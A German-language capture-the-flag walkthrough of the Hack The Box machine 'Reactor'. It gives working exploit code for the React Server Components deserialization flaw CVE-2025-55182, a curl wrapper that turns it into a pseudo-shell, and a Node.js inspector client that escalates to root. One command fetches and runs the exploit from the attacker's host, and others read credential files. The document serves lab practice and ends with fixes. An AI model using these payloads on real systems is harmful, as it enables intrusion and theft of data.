
Kompletter Walkthrough der HTB-Maschine Reactor – CVE-2025-55182 ausnutzen, um eine Shell zu erlangen, dann Root über einen exponierten Node.js-Debugger erlangen. Schritt für Schritt mit Screenshots.
[!CAUTION] Spoilerwarnung. Dies ist ein vollständiger Walkthrough inklusive Flags. Wenn du die Maschine selbst lösen willst, schließe dieses Dokument jetzt und komm zurück, wenn du feststeckst.
| Feld | Details |
|---|---|
| Name | Reactor |
| Betriebssystem | Ubuntu 24.04 LTS (Noble) |
| Schwierigkeit | Mittel |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| Ports | 22 (SSH), 3000 (Next.js) |
| Autor | sonnycroco |
Reactor dreht sich thematisch um ein Überwachungs-Dashboard für ein Kernkraftwerk namens ReactorWatch. Bei der Box geht es ausschließlich um zwei miteinander verkettete Schwachstellen – kein Raten, keine Sackgassen, keine Brute-Force-Angriffe.
Der Weg: Ein Pre-Release-Build von React 19 weist einen kritischen Deserialisierungsfehler auf, der dir mit einer einzigen HTTP-Anfrage nicht authentifizierte Remote-Codeausführung verschafft. Von dort aus verschafft dir ein als Root laufender Node.js-Debugging-Port über eine WebSocket-Nachricht vollen Systemzugriff.
Angriffskette:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
Das Erste, was man bei jeder neuen Maschine tut, ist herauszufinden, welche Dienste laufen. Ein vollständiger Portscan mit Service-Erkennung, damit nichts übersehen wird.
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

Nur zwei Ports. SSH ist in dieser Phase eine Sackgasse, da wir noch keine Zugangsdaten haben. Port 3000 ist das Ziel. Nmap verrät uns bereits, dass es sich um Next.js 15.0.3 handelt – ein vielversprechender Ansatzpunkt.
Bevor ich Exploits auf irgendetwas loslasse, will ich die genaue Version von allem wissen, was läuft. Die HTTP-Header haben bereits Next.js verraten, aber die React-Version ist das entscheidende Detail. React 19 war lange als Pre-Release verfügbar und hatte vor dem stabilen Release einige ernsthafte Probleme.
Ich lade eines der clientseitigen JavaScript-Chunks zur Überprüfung herunter:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
Das rc im Versionsstring ist der entscheidende Hinweis. Es handelt sich um einen Release-Candidate-Build von React 19, nicht um die stabile Version. CVE-Datenbanken bestätigen: CVE-2025-55182 betrifft genau diesen Build. CVSS 10.0.
Da ich schon dabei bin, prüfe ich die Header auf Hinweise zur Middleware:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Es gibt keinen x-middleware-rewrite-Header, was bedeutet, dass keine Next.js-Middleware installiert ist. Das schließt CVE-2025-29927 (den Middleware-Bypass) aus – erwähnenswert, damit du keine Zeit damit verschwendest.
Was wir wissen:
experimental.serverActions19.0.0-rc, anfällig für CVE-2025-55182
Die Server Components von React 19 führten Server Actions ein – serverseitige Funktionen, die vom Client per HTTP-POST mit einem Next-Action-Header aufgerufen werden können. Der Multipart-Body-Parser, der diese Anfragen verarbeitet, hat einen kritischen Fehler: Er deserialisiert unsicher einen Referenztyp namens $1:__proto__:then.
Indem ein Angreifer einen Multipart-Body konstruiert, der _response._prefix auf beliebiges JavaScript setzt, wird dieser Code auf dem Server ausgewertet. Die Ausgabe wird anschließend über eine Exception, die Next.js intern für Redirects verwendet (NEXT_REDIRECT), herausgeschmuggelt und landet URL-kodiert im x-action-redirect-Antwortheader.
Jeder POST an jede Seite mit dem Next-Action-Header löst das aus. Keine Authentifizierungsprüfung, kein spezieller Endpunkt. Sende das Payload einfach an / und du bist drin.
Ein kleines Python-Hilfsprogramm, das einen Shell-Befehl als Eingabe nimmt, das Multipart-Payload baut und auf die Festplatte schreibt, damit curl es senden kann:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
Alles wird in eine Shell-Funktion gepackt, für das Gefühl einer Pseudo-Shell:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
Der rohe HTTP-Austausch. Die Befehlsausgabe steht direkt im Redirect-Header:
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
[... multipart body ...]
HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push
rce "id"
# uid=999(node) gid=988(node) groups=988(node)
Wir sind als Dienstkonto node drin. Keine Authentifizierung, keine Brute-Force, kein Social Engineering. Nur ein einziger HTTP-POST. So sieht ein CVSS 10.0 in der Praxis aus.

[!WARNING] Zwei Dinge, die du wissen solltest, bevor du weitermachst:
execSyncist synchron und blockiert den Antwort-Thread. Versuche nicht, damit eine Reverse Shell zu starten – nutze stattdessen das asynchroneexec(), sonst hängt der Server.- Das
NEXT_REDIRECT-Template-Literal bricht bei Zeilenumbrüchen. Leite mehrzeilige Ausgaben immer durchpaste -sd,, um sie zu glätten, bevor sie in die URL gelangen.
nodeNachdem die Codeausführung steht, ist das nächste Ziel, die Umgebung zu verstehen: Was befindet sich auf dieser Box, welche Zugangsdaten liegen herum und gibt es einen offensichtlichen Weg zu einem Benutzer mit höheren Rechten?
rce "cat /opt/reactor-app/.env | paste -sd,"
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production
Es gibt eine SQLite-Datenbank auf der Platte. Ich prüfe, was darin steckt:
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]
Ein Admin-Konto mit einem MD5-Hash. John mit rockyou knackt ihn nicht. Das ist in Ordnung – das Knacken von Hashes erweist sich als unnötig, sobald wir den eigentlichen Weg zur Privilegieneskalation finden. Ich lege das beiseite und mache weiter.
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
Es gibt einen Benutzer namens engineer. Das User-Flag liegt in dessen Home-Verzeichnis.
[!NOTE] Bei manchen Instanzen dieser Maschine hat
/home/engineer/die Berechtigung700, d. h. das Dienstkontonodekann es nicht direkt lesen. Falls das bei dir so ist: Keine Panik. Der Root-Privesc-Pfad aus Schritt 6 ermöglicht es dir, beide Flags als Root zu lesen.
rce "cat /home/engineer/user.txt"
f7b714f9fdf5c08a5f240668792aa13f
Falls /home/engineer/ bei deiner Instanz abgesperrt ist, springe zu Schritt 6 und hole dir beide Flags als Root.
Nachdem der erste Fuß in der Tür steht, prüfe ich, welche Prozesse auf der Maschine laufen. Das vollständige ps aux ist lang, also filtere ich nach allem, was mit Node.js zu tun hat:
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
node 1415 next-server (v15.0.3)
root 1417 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
Da ist es. Ein zweiter Node.js-Prozess, der als root läuft und mit dem --inspect-Flag an 127.0.0.1:9229 gebunden ist. Das ist ein Uptime-Überwachungsskript, das jemand mit aktiviertem Node.js-Debugger gestartet und einfach hat laufen lassen.
Das --inspect-Flag öffnet das Chrome-DevTools-Protokoll (CDP) – dasselbe Protokoll, das auch die Entwicklertools deines Browsers verwenden. Wenn du dich damit verbindest, kannst du den Prozess anweisen, beliebiges JavaScript in seinem eigenen V8-Kontext auszuwerten. Da dieser Prozess als Root läuft, wird auch alles, was du auswertest, als Root ausgeführt.
Die einzige Hürde ist, dass der Debugger an localhost gebunden ist, aber wir haben bereits eine Codeausführung auf der Box als node, also können wir ihn ohne Probleme erreichen.
Ich bestätige, dass der Debugger läuft, und hole die WebSocket-URL:
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
[{
"description": "node.js instance",
"id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]
[!IMPORTANT] Die UUID in der WebSocket-URL (
1d85ee80-...) ist pro Prozessinstanz eindeutig. Deine wird anders sein. Kopiere sie aus deiner JSON-Ausgabe und aktualisiere sie im Exploit-Skript, bevor du es ausführst.

Um einen Runtime.evaluate-Befehl an den Inspector zu senden, brauchen wir einen WebSocket-Client. Das npm-Paket ws ist nicht auf dem Zielsystem vorhanden, also schreibe ich einen minimalen Client von Grund auf, der nur Node.js-Bordmittel nutzt: net für die TCP-Verbindung und crypto für das Maskieren der WebSocket-Frames.
const net = require('net');
const crypto = require('crypto');
// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';
function encodeFrame(data) {
const payload = Buffer.from(data, 'utf8');
const mask = crypto.randomBytes(4);
let headerLen = (payload.length < 126) ? 6 : 8;
const header = Buffer.alloc(headerLen);
header[0] = 0x81;
if (payload.length < 126) {
header[1] = 0x80 | payload.length;
mask.copy(header, 2);
} else {
header[1] = 0xfe;
header.writeUInt16BE(payload.length, 2);
mask.copy(header, 4);
}
const masked = Buffer.alloc(payload.length);
const maskStart = headerLen - 4;
for (let i = 0; i < payload.length; i++) {
masked[i] = payload[i] ^ header[maskStart + (i % 4)];
}
return Buffer.concat([header, masked]);
}
const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);
sock.on('connect', () => {
sock.write(
`GET /${WS_ID} HTTP/1.1\r\n` +
`Host: 127.0.0.1:9229\r\n` +
`Upgrade: websocket\r\n` +
`Connection: Upgrade\r\n` +
`Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
`Sec-WebSocket-Version: 13\r\n\r\n`
);
});
sock.on('data', (data) => {
chunks = Buffer.concat([chunks, data]);
if (!upgraded) {
const str = chunks.toString('utf8');
const sep = str.indexOf('\r\n\r\n');
if (sep === -1) return;
upgraded = true;
chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
const msg = JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: { expression: CMD, returnByValue: true }
});
sock.write(encodeFrame(msg));
return;
}
while (chunks.length > 2) {
const b1 = chunks[1] & 0x7f;
let payloadStart, payloadLen;
if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
if (chunks.length < payloadStart + payloadLen) return;
process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
sock.destroy();
process.exit(0);
}
});
sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);
[!WARNING] Innerhalb eines CDP-
Runtime.evaluate-Aufrufs ist die einfacherequire()-Funktion nicht im globalen Scope, auch wennworker.jsselbst ein CommonJS-Modul ist. Du musstprocess.mainModule.require(...)verwenden. Die Verwendung von nacktemrequire()wirft einen ReferenceError und erzeugt keine Ausgabe.
Das Skript von der Angriffsmaschine aus bereitstellen:
python3 -m http.server 8080 --directory /tmp/www &
Herunterladen und Ausführen auf dem Zielsystem über die RCE-Kette:
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"
Antwort:
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}
Wir werten beliebiges JavaScript in einem Prozess aus, der als uid=0 läuft.

Derselbe Exploit, anderer Befehl in CMD:
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root.txt: 5c091a1960eb124c53910c1a1f456334

Gesamtzeit vom ersten Request bis zu Root: unter 10 Minuten, sobald man die CVE verstanden hat. Keine Brute-Force, kein Passwortknacken, keine Sackgassen.
CVE-2025-29927 (Middleware-Bypass) war zur gleichen Zeit im Trend wie CVE-2025-55182. Überprüfe immer, ob Middleware tatsächlich vorhanden ist, bevor du deren Bypass testest. Das Vorhandensein oder Fehlen des x-middleware-rewrite-Antwortheaders verrät es dir sofort. Dem falschen CVE hinterherzujagen kostet leicht viel Zeit.
execSync zerstört Reverse ShellsEs blockiert den gesamten Antwort-Thread des Servers, bis der Subprozess beendet ist. Das Starten einer bash -i- oder Netcat-Shell darüber lässt beide Seiten hängen. Nutze stattdessen das asynchrone exec() aus child_process, wenn du aus diesem Exploit eine interaktive Shell brauchst.
Die Befehlsausgabe wird in ein JavaScript-Template-Literal eingebettet: NEXT_REDIRECT;push;/login?a=${res};307;. Jeder wörtliche Zeilenumbruch in res bricht das Template-Literal und liefert nichts zurück. Leite vor der Exfiltration alles durch paste -sd,, um die Zeilen zu verbinden.
require ist im CDP-Kontext nicht globalWenn du Runtime.evaluate an einen Node.js-Inspector sendest, führst du Code in einer V8-Isolate aus, die die CommonJS-require-Funktion nicht global bereitstellt – selbst wenn der Zielprozess selbst ein CommonJS-Modul ist. Verwende in CDP-Ausdrücken immer process.mainModule.require("module").
Bei manchen Instanzen dieser Maschine kann das Dienstkonto node /home/engineer/user.txt direkt lesen. Bei anderen blockieren 700-Berechtigungen auf dem Home-Verzeichnis den Zugriff. Der Root-Privesc-Pfad funktioniert immer und liefert dir auf jeden Fall beide Flags.
| Schwachstelle | Behebung |
|---|
| CVE-2025-55182 | Aktualisiere React von 19.0.0-rc auf das stabile React-19-Release. Aktualisiere Next.js auf Version 15.2.3 oder höher. |
Node.js --inspect als Root | Entferne --inspect vollständig aus allen Produktionsprozessen. Binde den Inspector auf geteilten Systemen niemals an eine Adresse, nicht einmal an 127.0.0.1. Nutze für das Debugging eine dedizierte, isolierte Umgebung. |
| SQLite-DB im Anwendungsverzeichnis | Verschiebe die Datenbank aus dem Web-Root-Verzeichnis. Schränke die Dateisystemberechtigungen so ein, dass der Web-Prozess nur auf das zugreifen kann, was er unbedingt benötigt. |